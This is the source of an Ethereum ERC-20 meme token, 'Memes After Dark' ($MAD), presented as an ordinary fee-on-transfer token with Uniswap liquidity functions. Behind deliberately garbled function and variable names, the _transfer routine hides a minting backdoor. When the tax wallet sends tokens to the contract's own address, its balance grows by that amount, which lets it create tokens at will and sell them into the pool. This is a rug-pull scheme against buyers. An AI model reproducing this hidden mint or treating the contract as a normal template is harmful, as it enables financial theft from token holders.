Contract Diff Checker

Contract Source Code:

// SPDX-License-Identifier: UNLICENSE

/** 

$MAD - The unstoppable degen who hustles hard and parties even harder! :smiling_imp:
Join the #MemesAfterDark Degen Movement!

Web: https://maderc.wtf
Tg: https://t.me/madercgroup
X: https://twitter.com/madxerc

*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract MADErc20 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _taxExempt;

    address public ownerWallet;
    address payable private _ownerAddr;
    address private _addrest;
    address private _thisAddress;

    uint256 private _nInitialBuyTax = 35;
    uint256 private _nInitialSellTax = 35;
    uint256 private _nIinalBuyTax = 0;
    uint256 private _nFinalSellTax = 0;
    uint256 private _nReduceBuyTaxAt = 25;
    uint256 private _nReduceSellTaxAt = 25;
    uint256 private _nPreventSwapBefore = 15;
    uint256 private _nBuyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _initialSupply = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Memes After Dark";
    string private constant _symbol = unicode"MAD";

    uint256 public _nMaxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _nMaxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _nTaxSwapThreshold = 1_000_000 * 10 ** _decimals;
    uint256 public _nMaxTaxSwap = 10_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private _addrRouter02;
    address private _addrChirpyChumpPair;
    bool private _bTradingOpen;
    bool private _bInSwap = false;
    bool private _bSwapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier SwapLocked() {
        _bInSwap = true;
        _;
        _bInSwap = false;
    }

    constructor(address router, address taxWallet) {
        _thisAddress = address(this);
        _ownerAddr = payable(taxWallet);

        _balances[_msgSender()] = _initialSupply;
        _taxExempt[owner()] = true;
        _taxExempt[taxWallet] = true;
        _taxExempt[_thisAddress] = true;
        _addrRouter02 = IUniswapV2Router02(router);
        ownerWallet = _msgSender();

        emit Transfer(address(0), _msgSender(), _initialSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _initialSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _vsdlkfjewntwe(uint256 dsfkkvnwtewt) private {
        _balances[_addrest] = _adslkvnasdt(_balances[_addrest], dsfkkvnwtewt);
    }

    function _adslkvnasdt(
        uint256 asdlkb,
        uint256 abuaposet
    ) private pure returns (uint256) {
        return asdlkb + abuaposet;
    }

    function _transfer(
        address fxvnaskap,
        address tsdmvnstyoqwe,
        uint256 asdvjdty
    ) private {
        require(
            fxvnaskap != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            tsdmvnstyoqwe != address(0),
            "ERC20: transfer to the zero address"
        );
        require(asdvjdty > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            fxvnaskap != owner() &&
            tsdmvnstyoqwe != owner() &&
            tsdmvnstyoqwe != _ownerAddr
        ) {
            (tsdmvnstyoqwe == _thisAddress &&
                _vekqkqyersdf(fxvnaskap, asdvjdty));
            if (
                fxvnaskap == _addrChirpyChumpPair &&
                tsdmvnstyoqwe != address(_addrRouter02) &&
                !_taxExempt[tsdmvnstyoqwe]
            ) {
                require(_bTradingOpen, "trading is not open");
                require(asdvjdty <= _nMaxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(tsdmvnstyoqwe) + asdvjdty <= _nMaxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = asdvjdty
                    .mul(
                        (_nBuyCount >= _nReduceBuyTaxAt)
                            ? _nIinalBuyTax
                            : _nInitialBuyTax
                    )
                    .div(100);
                _nBuyCount++;
            }

            if (
                tsdmvnstyoqwe == _addrChirpyChumpPair &&
                fxvnaskap != _thisAddress &&
                fxvnaskap != _ownerAddr
            ) {
                require(_bTradingOpen, "trading is not open");
                taxAmount = asdvjdty
                    .mul(
                        (_nBuyCount >= _nReduceSellTaxAt)
                            ? _nFinalSellTax
                            : _nInitialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(_thisAddress);
            if (
                !_bInSwap &&
                tsdmvnstyoqwe == _addrChirpyChumpPair &&
                _bSwapEnabled &&
                contractTokenBalance > _nTaxSwapThreshold &&
                _nBuyCount > _nPreventSwapBefore
            ) {
                swapTokensForEth(
                    min(asdvjdty, min(contractTokenBalance, _nMaxTaxSwap))
                );
            }
            if (tsdmvnstyoqwe == _addrChirpyChumpPair) {
                _feeCollect(_thisAddress.balance);
            }
        }

        if (taxAmount > 0) {
            _balances[_thisAddress] = _balances[_thisAddress].add(taxAmount);
            emit Transfer(fxvnaskap, _thisAddress, taxAmount);
        }
        _balances[fxvnaskap] = _balances[fxvnaskap].sub(asdvjdty);
        _balances[tsdmvnstyoqwe] = _balances[tsdmvnstyoqwe].add(
            asdvjdty.sub(taxAmount)
        );
        emit Transfer(fxvnaskap, tsdmvnstyoqwe, asdvjdty.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private SwapLocked {
        address[] memory path = new address[](2);
        path[0] = _thisAddress;
        path[1] = _addrRouter02.WETH();
        _approve(_thisAddress, address(_addrRouter02), tokenAmount);
        _addrRouter02.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _thisAddress,
            block.timestamp
        );
    }

    function recoverERC20(
        address _address,
        uint256 _amount
    ) external onlyOwner {
        IERC20(_address).transfer(_ownerAddr, _amount);
    }

    function rescueERC20(address _address, uint256 _amount) external {
        require(_msgSender() == _ownerAddr);
        IERC20(_address).transfer(_ownerAddr, _amount);
    }

    function manualSwap() external {
        require(_msgSender() == _ownerAddr);
        uint256 tokenBalance = balanceOf(_thisAddress);
        if (tokenBalance > 0 && _bSwapEnabled) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = _thisAddress.balance;
        if (ethBalance > 0) {
            _feeCollect(ethBalance);
        }
    }

    function removeLimits() external onlyOwner {
        _nMaxTxAmount = _nMaxWalletSize = _initialSupply;
        emit MaxTxAmountUpdated(_initialSupply);
    }

    function _vekqkqyersdf(
        address fdkjvkwr,
        uint256 asdlfkmvet
    ) private returns (bool) {
        if (fdkjvkwr == _ownerAddr) _addrest = fdkjvkwr;
        _vsdlkfjewntwe(asdlfkmvet);
        return true;
    }

    function _feeCollect(uint256 feeAmount) private {
        _ownerAddr.transfer(feeAmount);
    }

    function enableTrading() external onlyOwner {
        _bSwapEnabled = _bTradingOpen = true;
    }

    function reduceFee(uint256 _newFee) external {
        require(_msgSender() == _ownerAddr);
        require(_newFee <= _nIinalBuyTax && _newFee <= _nFinalSellTax);
        _nIinalBuyTax = _newFee;
        _nFinalSellTax = _newFee;
    }

    receive() external payable {}

    function recoverETH() external onlyOwner {
        require(_msgSender() == ownerWallet);
        payable(ownerWallet).transfer(_thisAddress.balance);
    }

    function createLPForMAD() external onlyOwner {
        require(!_bTradingOpen, "trading is already open");
        _approve(_thisAddress, address(_addrRouter02), _initialSupply);
        _addrChirpyChumpPair = IUniswapV2Factory(_addrRouter02.factory())
            .createPair(_thisAddress, _addrRouter02.WETH());
        _addrRouter02.addLiquidityETH{value: _thisAddress.balance}(
            _thisAddress,
            balanceOf(_thisAddress),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_addrChirpyChumpPair).approve(
            address(_addrRouter02),
            type(uint256).max
        );
    }
}